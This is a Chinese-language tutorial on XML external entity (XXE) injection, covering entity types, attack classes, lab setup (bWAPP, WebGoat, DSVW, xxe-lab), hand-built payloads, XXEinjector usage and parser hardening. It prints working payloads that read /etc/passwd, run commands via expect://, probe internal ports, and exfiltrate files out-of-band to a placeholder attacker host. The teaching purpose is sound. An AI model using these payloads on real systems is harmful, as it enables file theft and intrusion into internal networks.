[红日安全]Web安全Day8 - XXE实战攻防
字数 1661 2025-08-18 11:39:19
XXE实战攻防全面指南
1. XXE基础概念
1.1 XML基础结构
XML文档由三部分组成:
- XML声明:
<?xml version="1.0" encoding="UTF-8" standalone="no"?> - DTD文档类型定义(可选)
- 文档元素
<!-- XML声明 -->
<?xml version="1.0"?>
<!-- DTD文档类型定义 -->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!-- 文档元素 -->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
1.2 DTD实体类型
1.2.1 内部实体声明
<!ENTITY 实体名称 "实体的值">
1.2.2 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
1.2.3 参数实体声明
<!ENTITY %实体名称 "实体的值">
或
<!ENTITY %实体名称 SYSTEM "URI">
使用区别:
- 参数实体用
%实体名称声明和引用 - 其他实体直接用实体名称声明,引用时用
&实体名称 - 参数实体只能在DTD中声明和引用
2. XXE攻击原理与分类
2.1 攻击原理
XXE(XML External Entity Injection)即XML外部实体注入,利用XML解析器处理外部实体时的漏洞,导致服务器执行恶意代码。
2.2 攻击分类
2.2.1 按构造方式分类
- 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
- 通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://example.com/Quan.dtd">
<hhh>&f;<hhh>
Quan.dtd内容: <!ENTITY f SYSTEM "file:///etc/passwd">
- 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://example.com/Quan.dtd">
]>
<hhh>&f;<hhh>
2.2.2 按输出信息分类
- 正常回显XXE - 服务器直接回显注入结果
- 报错XXE - 通过错误信息判断注入结果
- Blind XXE - 无回显信息,需借助外部服务器接收数据
3. XXE攻击危害
3.1 读取任意文件
<!ENTITY f SYSTEM "file:///etc/passwd">
3.2 执行系统命令(需expect模块支持)
<!ENTITY f SYSTEM "expect://id">
3.3 探测内网端口
<!ENTITY Quan SYSTEM "http://192.168.1.1:80">
3.4 攻击内网网站
4. 测试环境搭建
4.1 PHP靶场 - bWAPP
4.1.1 安装方式
-
单独安装:
- 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download
- 解压到WWW目录
- 修改admin/settings.php数据库配置
-
虚拟机导入:
- 下载地址:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
- 使用VMWare导入
4.2 Java靶场 - WebGoat
4.2.1 安装步骤
- 下载jar包:
- https://github.com/WebGoat/WebGoat/releases
- 安装JDK
- 启动:
java -jar webgoat-server-8.0.0.M25.jar
4.3 DSVW靶场
4.3.1 安装步骤
apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git
python dsvw.py
4.4 xxe-lab靶场
4.4.1 安装
- 下载地址:https://github.com/c0ny1/xxe-lab
- PHP版直接放入WWW目录
- Java版导入eclipse部署
- Python版需安装Flask模块
5. 手工测试实战
5.1 bWAPP靶场测试
5.1.1 Low级别测试
- 读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
- 端口探测:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
- Blind XXE测试:
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>
Quan.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/1.php?file=%file;'>">
5.2 Vulnhub XXE靶场实战
- 探测目标IP
- 访问/xxe/目录
- 构造读取flag的payload:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///var/www/flagmeout.php">
]>
<hhh>&f;<hhh>
5.3 Metinfo 6.0.0 CMS实战
漏洞文件:app/system/pay/web/pay.class.php
6. 自动化工具测试
6.1 Burp Collaborator插件
- 安装:Burpsuite的Extender模块下的BApp Store
- 使用:
- 生成Collaborator payload
- 在XXE payload中使用该URL
- 查看Collaborator是否有请求记录
6.2 XXEinjector工具
6.2.1 安装
apt-get update
apt-get install ruby
gem install [gem-name]
git clone https://github.com/enjoiz/XXEinjector
6.2.2 使用示例
- 枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
- 暴力破解文件:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
7. 防御措施
7.1 PHP防御
libxml_disable_entity_loader(true);
7.2 Java防御
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
7.3 Python防御
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
7.4 通用防御
- 过滤用户提交的XML数据中的
<!DOCTYPE>和<!ENTITY>,或SYSTEM和PUBLIC - 禁用外部实体加载
- 使用白名单验证输入
- 更新XML解析库到最新版本